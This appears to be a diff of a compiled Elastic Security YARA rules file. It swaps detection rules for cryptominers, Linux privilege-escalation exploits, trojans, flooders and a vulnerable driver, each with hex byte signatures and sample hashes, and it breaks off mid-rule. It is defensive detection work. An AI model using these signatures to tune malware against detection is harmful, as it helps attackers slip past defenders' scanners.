-		id = "c6218e30-1a49-46ea-aac8-5f0f652156c5"
-		date = "2021-01-12"
+		id = "89671b03-5bd4-481b-9304-2655ea689c5f"
+		date = "2021-04-06"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Xmrminer.yar#L199-L217"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b43ddd8e355b0c538c123c43832e7c8c557e4aee9e914baaed0866ee5d68ee55"
-		logic_hash = "3efbc3cb1591a9340df10640b411a9ab4c41e0aa26c1677d9def8b82e4c246f4"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_Lotoor.yar#L241-L259"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "001098473574cfac1edaca9f1180ab2005569e094be63186c45b48c18f880cf8"
+		logic_hash = "dfa7027c4fa0cbde33df87063fea4ecf51a085f3cc1805123c62747882d0a07e"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "c3171cf17ff3b0ca3d5d62fd4c2bd02a4e0a8616a84ea5ef9e78307283e4a360"
+		fingerprint = "e8b9631e5d4d8db559615504cc3f6fbd8a81bfbdb9e570113f20d006c44c8a9c"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -104929,28 +109643,28 @@ rule ELASTIC_Linux_Cryptominer_Xmrminer_C6218E30 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { AC 24 B0 00 00 00 48 89 FA 66 0F EF DD 48 C1 E2 20 66 41 0F }
+		$a = { 62 65 6C 3A 20 4C 69 6E 75 78 20 3C 20 32 2E 36 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Xmrminer_B17A7888 : FILE MEMORY
+rule ELASTIC_Linux_Exploit_Lotoor_Dbc73Db0 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Xmrminer (Linux.Cryptominer.Xmrminer)"
+		description = "Detects Linux Exploit Lotoor (Linux.Exploit.Lotoor)"
 		author = "Elastic Security"
-		id = "b17a7888-dc12-4bb4-bc77-558223814e8b"
-		date = "2021-01-12"
+		id = "dbc73db0-527c-436f-afdc-bc3750f10ea0"
+		date = "2021-04-06"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Xmrminer.yar#L219-L237"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "65c9fdd7c559554af06cd394dcebece1bc0fdc7dd861929a35c74547376324a6"
-		logic_hash = "a7f6daa5c42d186d2c5a027fdb35b45287c3564a7b57b8a2f53659e6ca90602a"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_Lotoor.yar#L261-L279"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "9fe78e4dd7975856a74d8dfd83e69793a769143e0fe6994cbc3ef28ea37d6cf8"
+		logic_hash = "4a7453342fd72dacb781919d3fac3bab02e7ef7c882d5938a2e0e1274c704705"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "2b11457488e6098d777fb0d8f401cf10af5cd48e05248b89cb9e377d781b516c"
+		fingerprint = "2f6ad833b84f00be1d385de686a979d3738147c38b4126506e56225080ee81ef"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -104958,28 +109672,28 @@ rule ELASTIC_Linux_Cryptominer_Xmrminer_B17A7888 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { D4 FF C5 55 F4 C9 C5 F5 D4 CD C4 41 35 D4 C9 C5 B5 D4 C9 C5 C5 }
+		$a = { 63 75 73 3A 20 4C 69 6E 75 78 20 32 2E 36 2E 33 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Exploit_Perl_4A4B8A42 : FILE MEMORY
+rule ELASTIC_Linux_Exploit_Lotoor_Ec339160 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Perl (Linux.Exploit.Perl)"
+		description = "Detects Linux Exploit Lotoor (Linux.Exploit.Lotoor)"
 		author = "Elastic Security"
-		id = "4a4b8a42-bf26-4323-a12d-06360cd88aa3"
-		date = "2021-01-12"
+		id = "ec339160-5f25-495c-8e48-4683ad2fcca0"
+		date = "2021-04-06"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Perl.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "d1fa8520d3c3811d29c3d5702e7e0e7296b3faef0553835c495223a2bc015214"
-		logic_hash = "c1f7b1c20fe6db6acbe46be38cc97a40de6ca047a4e4490e86610dbff356b395"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_Lotoor.yar#L281-L299"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "0002b469972f5c77a29e2a2719186059a3e96a6f4b1ef2d18a68fee3205ea0ba"
+		logic_hash = "9c1d1254093b172798024c42a6d78f5e6720d20b8c2a8ad4ca26c8e88e42f0e8"
 		score = 75
 		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "70ae986009e1d375a0322bf31fbae2090b7c0b6051ddd850e103e654d7b237b2"
+		fingerprint = "24a3630fd49860104c60c4f4d0ef03bd17c124383a0b5d027a06c7ca6cb9cbba"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -104987,28 +109701,28 @@ rule ELASTIC_Linux_Exploit_Perl_4A4B8A42 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 20 73 65 65 6B 69 6E 67 20 6F 75 74 20 74 68 65 20 73 6D 61 }
+		$a = { 69 75 6D 3A 20 4C 69 6E 75 78 20 32 2E 58 20 73 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Exploit_Perl_982Bb709 : FILE MEMORY
+rule ELASTIC_Linux_Exploit_Lotoor_7Cd57E18 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Perl (Linux.Exploit.Perl)"
+		description = "Detects Linux Exploit Lotoor (Linux.Exploit.Lotoor)"
 		author = "Elastic Security"
-		id = "982bb709-beec-4f7f-b249-44b1fb46c3be"
-		date = "2021-01-12"
+		id = "7cd57e18-2315-419b-b373-ea801181232c"
+		date = "2021-04-06"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Perl.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "f3e4e2b5af9d0c72aae83cec57e5c091a95c549f826e8f13559aaf7d300f6e13"
-		logic_hash = "b38e6cb15034c38c31f6b267b9ecaabe8dfa950a2fc8863cfff7705182cffb3a"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_Lotoor.yar#L301-L319"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1eecf16dae302ae788d1bc81278139cd9f6af52d7bed48b8677b35ba5eb14e30"
+		logic_hash = "97604cdc9daa9993b9a18dc5df7ab105a5e6001129bcfcfeeb86640bee26f59d"
 		score = 75
 		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "a2f68acb31b84e93f902aeb838ad550e1644c20e1c8060bb8de8ad57fa4ba4bb"
+		fingerprint = "a7d3183de1bccd816bcd2346e9754aaf6e7eb124d7416d79bdbe422b33035414"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -105016,116 +109730,115 @@ rule ELASTIC_Linux_Exploit_Perl_982Bb709 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 54 75 65 20 53 65 70 20 32 31 20 31 36 3A 34 38 3A 31 32 20 }
+		$a = { 76 65 3A 20 4C 69 6E 75 78 20 32 2E 36 2E }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Vulndriver_Lha_F72Bff9A : FILE
+rule ELASTIC_Linux_Cryptominer_Loudminer_581F57A9 : FILE MEMORY
 {
 	meta:
-		description = "Name: LHA.sys"
+		description = "Detects Linux Cryptominer Loudminer (Linux.Cryptominer.Loudminer)"
 		author = "Elastic Security"
-		id = "f72bff9a-046c-4e02-9e11-4787c8aada75"
-		date = "2022-04-07"
-		modified = "2022-04-07"
+		id = "581f57a9-36e0-4b95-9a1e-837bdd4aceab"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_Lha.yar#L1-L20"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "e75714f8e0ff45605f6fc7689a1a89c7dcd34aab66c6131c63fefaca584539cf"
-		logic_hash = "cea05432b47cf14982bda74476c8c8582068c22fe7dec6468c9756c20412dca2"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Loudminer.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "2c2729395805fc9d3c1e654c9a065bbafc4f28d8ab235afaae8d2c484060596b"
+		logic_hash = "82db0985f215da1d84e16fce94df7553b43b06082bf5475515dbbcf016c40fe4"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "3b464386a60747131012d8380a34bed9329b02ac5cdc7b69b951f4f681243f35"
-		threat_name = "Windows.VulnDriver.Lha"
-		severity = 50
+		tags = "FILE, MEMORY"
+		fingerprint = "1013e6e11ea2a30ecf9226ea2618a59fb08588cdc893053430e969fbdf6eb675"
+		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 4C 00 48 00 41 00 2E 00 73 00 79 00 73 00 00 00 }
+		$a = { 44 24 08 48 8B 70 20 48 8B 3B 48 83 C3 08 48 89 EA 48 8B 07 FF }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Wikiloader_C57F3F88 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Loudminer_F2298A50 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Wikiloader (Windows.Trojan.WikiLoader)"
+		description = "Detects Linux Cryptominer Loudminer (Linux.Cryptominer.Loudminer)"
 		author = "Elastic Security"
-		id = "c57f3f88-0d2c-41a6-b2f9-839b1f1e1193"
-		date = "2024-01-17"
-		modified = "2024-02-08"
+		id = "f2298a50-7bd4-43d8-ac84-b36489405f2e"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_WikiLoader.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "0f71b1805d7feb6830b856c5a5328d3a132af4c37fcd747d82beb0f61c77f6f5"
-		logic_hash = "408c6d811232dbd0c87f75fd28508366151cf9f2f10f012919588db1919e406b"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Loudminer.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "2c2729395805fc9d3c1e654c9a065bbafc4f28d8ab235afaae8d2c484060596b"
+		logic_hash = "6c2c9b6aea1fb35f8f600dd084ed9cfd56123f7502036e76dd168ccd8b43b28f"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "a3802da23431fcbc890a5164d6acdbf29ec29bf1a82d4b862495edd8ae642d52"
+		fingerprint = "8eafc1c995c0efb81d9ce6bcc107b102551371f3fb8efdf8261ce32631947e03"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a = { 48 81 EC 08 01 00 00 48 89 CB 48 31 C0 48 89 E9 48 29 E1 48 89 E7 F3 AA 48 89 D9 48 89 4D 80 48 89 95 78 FF FF FF 4C 89 45 C0 4C 89 4D 88 4D 89 D4 4D 89 DD 4C 89 65 C8 49 83 ED 10 4C 89 6D 98 }
+		$a = { B6 04 07 41 8D 40 D0 3C 09 76 AD 41 8D 40 9F 3C 05 76 A1 41 8D }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Wikiloader_99681F1C : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Loudminer_851Fc7Aa : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Wikiloader (Windows.Trojan.WikiLoader)"
+		description = "Detects Linux Cryptominer Loudminer (Linux.Cryptominer.Loudminer)"
 		author = "Elastic Security"
-		id = "99681f1c-8b32-4cb0-ab6b-640b316e587a"
-		date = "2024-01-17"
-		modified = "2024-02-08"
+		id = "851fc7aa-6514-4f47-b6b5-a1e730b5d460"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_WikiLoader.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "0b02cfe16ac73f2e7dc52eaf3b93279b7d02b3d64d061782dfed0c55ab621a8e"
-		logic_hash = "fb293d74186e778856780377120ac2ebe9550a508a0b33e706c39f93a5509df8"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Loudminer.yar#L41-L59"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "2c2729395805fc9d3c1e654c9a065bbafc4f28d8ab235afaae8d2c484060596b"
+		logic_hash = "9f271a16fe30fbf0c16533522b733228f19e0c44d173e4c0ef43bf13323e7383"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "1cd978adc6cbd36a5738fb4c26a2ba4aaa8e69a035bd2618ef2175b3bb2dc4b6"
+		fingerprint = "e4d78229c1877a023802d7d99eca48bffc55d986af436c8a1df7c6c4e5e435ba"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a = { 48 83 EC 08 48 89 E0 4C 89 20 48 83 EC 08 48 89 E0 4C 89 28 48 83 EC 08 48 89 E0 4C 89 30 48 83 EC 08 48 89 E0 4C 89 38 48 89 E5 48 83 EC 08 48 83 EC 60 48 89 CB 48 31 C0 48 89 E9 48 29 E1 48 }
+		$a = { 49 8B 45 00 4C 8B 40 08 49 8D 78 18 49 89 FA 49 29 D2 49 01 C2 4C }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Hacktool_Flooder_825B6808 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Rekoobe_E75472Fa : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
+		description = "Detects Linux Trojan Rekoobe (Linux.Trojan.Rekoobe)"
 		author = "Elastic Security"
-		id = "825b6808-9b23-4a55-9f26-a34cab6ea92b"
+		id = "e75472fa-0263-4a47-a3bd-2d1bb14df177"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Hacktool_Flooder.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "7db9a0760dd16e23cb299559a0e31a431b836a105d5309a9880fa4b821937659"
-		logic_hash = "f5f997d8401f1505e81072dcb0e24ad7a78f0b56133698b70d8dd93ef25ddaf3"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Rekoobe.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "8d2a9e363752839a09001a9e3044ab7919daffd9d9aee42d936bc97394164a88"
+		logic_hash = "e3e9934ee8ce6933f676949c5b5c82ad044ac32f08fe86697b0a0cf7fb63fc5e"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "e2db86e614b9bc0de06daf626abe652cc6385cca8ba96a2f2e394cf82be7a29b"
+		fingerprint = "4e7605685ba7ba53afeafdef7e46bdca76109bd4d8b9116a93c301edeff606ee"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -105133,28 +109846,28 @@ rule ELASTIC_Linux_Hacktool_Flooder_825B6808 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 10 83 EC 04 8B 45 E4 FF 70 0C 8D 45 E8 83 C0 04 50 8B 45 E4 8B }
+		$a = { 00 00 00 83 F8 01 74 1F 89 D0 48 8B 4C 24 08 64 48 33 0C 25 28 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Hacktool_Flooder_A44Ab8Cd : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Rekoobe_52462Fe8 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
+		description = "Detects Linux Trojan Rekoobe (Linux.Trojan.Rekoobe)"
 		author = "Elastic Security"
-		id = "a44ab8cd-c45e-4fe8-b96d-d4fe227f3107"
+		id = "52462fe8-a40c-4620-b539-d0c1f9d2ceee"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Hacktool_Flooder.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "4b2068a4a666b0279358b8eb4f480d2df4c518a8b4518d0d77c6687c3bff0a32"
-		logic_hash = "a0501f76aff532366292189d34a57844ba999748b94f349be2f391dfd96e2106"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Rekoobe.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c1d8c64105caecbd90c6e19cf89301a4dc091c44ab108e780bdc8791a94caaad"
+		logic_hash = "1ab6979392eeaa7bd6bd84f8d3531bd9071c54b58306a42dcfdd27bf7ec8f8cd"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "0d77547064aeca6714ede98df686011c139ca720a71bcac23e40b0c02d302d6a"
+		fingerprint = "e09e8e023b3142610844bf7783c5472a32f63c77f9a46edc028e860da63e6eeb"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -105162,28 +109875,28 @@ rule ELASTIC_Linux_Hacktool_Flooder_A44Ab8Cd : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { E0 03 48 89 45 A8 8B 45 BC 48 63 D0 48 83 EA 01 48 89 55 A0 48 }
+		$a = { 1C D8 48 8B 5A E8 4A 33 0C DE 48 89 4A E0 89 D9 C1 E9 18 48 8B }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Hacktool_Flooder_7026F674 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Rekoobe_De9E7Bdf : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
+		description = "Detects Linux Trojan Rekoobe (Linux.Trojan.Rekoobe)"
 		author = "Elastic Security"
-		id = "7026f674-83b7-432b-9197-2d71abdb9579"
+		id = "de9e7bdf-c515-4af8-957a-e489b7cb9716"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Hacktool_Flooder.yar#L41-L59"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b7a77ebb66664c54d01a57abed5bb034ef2933a9590b595bba0566938b099438"
-		logic_hash = "ec8ece1f922260f620fb30d82469f77a4d0239da536fc464fc37a3943cd6e463"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Rekoobe.yar#L41-L59"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "447da7bee72c98c2202f1919561543e54ec1b9b67bd67e639b9fb6e42172d951"
+		logic_hash = "bdc4a3e4eeffc0d32e6a86dda54beceab8301d0065731d9ade390392ab4c6126"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "acf93628ecbda544c6c5d88388ac85bb2755c71544a0980ee1b2854c6bdb7c77"
+		fingerprint = "ab3f0b9179a136f7c1df43234ba3635284663dee89f4e48d9dfc762fb762f0db"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -105191,28 +109904,28 @@ rule ELASTIC_Linux_Hacktool_Flooder_7026F674 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 08 1E 77 DA 00 43 6F 75 6C 64 20 6E 6F 74 20 6F 70 65 6E 20 }
+		$a = { F5 48 89 D6 48 C1 EE 18 40 0F B6 F6 48 33 2C F1 48 89 D6 48 C1 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Hacktool_Flooder_761Ad88E : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Rekoobe_B41F70C2 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
+		description = "Detects Linux Trojan Rekoobe (Linux.Trojan.Rekoobe)"
 		author = "Elastic Security"
-		id = "761ad88e-1667-4253-81f6-52c92e0ccd68"
+		id = "b41f70c2-abe4-425a-952f-5e0c9e572a76"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Hacktool_Flooder.yar#L61-L79"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1d88971f342e4bc4e6615e42080a3b6cec9f84912aa273c36fc46aaf86ff6771"
-		logic_hash = "2b0c64da713e2f8ff671cbe086638810bc02a983d42851e78c68a57bde9f023c"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Rekoobe.yar#L61-L79"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "19c1a54279be1710724fc75a112741575936fe70379d166effc557420da714cd"
+		logic_hash = "02de55c537da1cc03af26a171c768ad87984e45983c3739f90ad9983c70e7ccf"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "14e701abdef422dcde869a2278ec6e1fb7889dcd9681a224b29a00bcb365e391"
+		fingerprint = "396fcb4333abe90f4c228d06c20eeff40f91e25fde312cc7760d999da0aa1027"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -105220,27 +109933,28 @@ rule ELASTIC_Linux_Hacktool_Flooder_761Ad88E : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 2E 31 36 38 2E 33 2E 31 30 30 00 43 6F 75 6C 64 20 6E 6F 74 }
+		$a = { E2 10 4D 31 D1 0F B6 D6 48 8B 14 D1 48 C1 E2 08 4C 31 CA 48 89 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Hacktool_Flooder_B93655D3 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Rekoobe_1D307D7C : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
+		description = "Detects Linux Trojan Rekoobe (Linux.Trojan.Rekoobe)"
 		author = "Elastic Security"
-		id = "b93655d3-1d3f-42f4-a47f-a69624e90da5"
-		date = "2021-01-12"
+		id = "1d307d7c-cc84-44e5-8fa0-eda9fffb3964"
+		date = "2021-04-06"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Hacktool_Flooder.yar#L81-L98"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "34cb06385543c6c2c562f757df2f641d8402e7c9f95fa924e17652a1c38d695f"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Rekoobe.yar#L81-L99"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "00bc669f79b2903c5d9e6412050655486111647c646698f9a789e481a7c98662"
+		logic_hash = "de4807353d2ba977459a1bf7f51fd815e311c0bdc5fccd5e99fd44a766f6866f"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "55119467cb5f9789b74064e63c1e7d905457b54f6e4da1a83c498313d6c90b5b"
+		fingerprint = "11b1474dbdc376830bca50dbeea7f7f786c8a9b2ac51a139c4e06bed7c867121"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -105248,28 +109962,28 @@ rule ELASTIC_Linux_Hacktool_Flooder_B93655D3 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { C0 49 89 C5 74 45 45 85 F6 7E 28 48 89 C3 41 8D 46 FF 4D 8D 64 }
+		$a = { F8 01 75 56 83 7C 24 3C 10 75 1C BE ?? ?? 60 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Hacktool_Flooder_Af9F75E6 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Rekoobe_7F7Aba78 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Hacktool Flooder (Linux.Hacktool.Flooder)"
+		description = "Detects Linux Trojan Rekoobe (Linux.Trojan.Rekoobe)"
 		author = "Elastic Security"
-		id = "af9f75e6-9a9b-4e03-9c76-8c0c9f07c8b1"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "7f7aba78-6e64-41c4-a542-088a8270a941"
+		date = "2022-01-05"
+		modified = "2022-01-26"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Hacktool_Flooder.yar#L100-L118"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
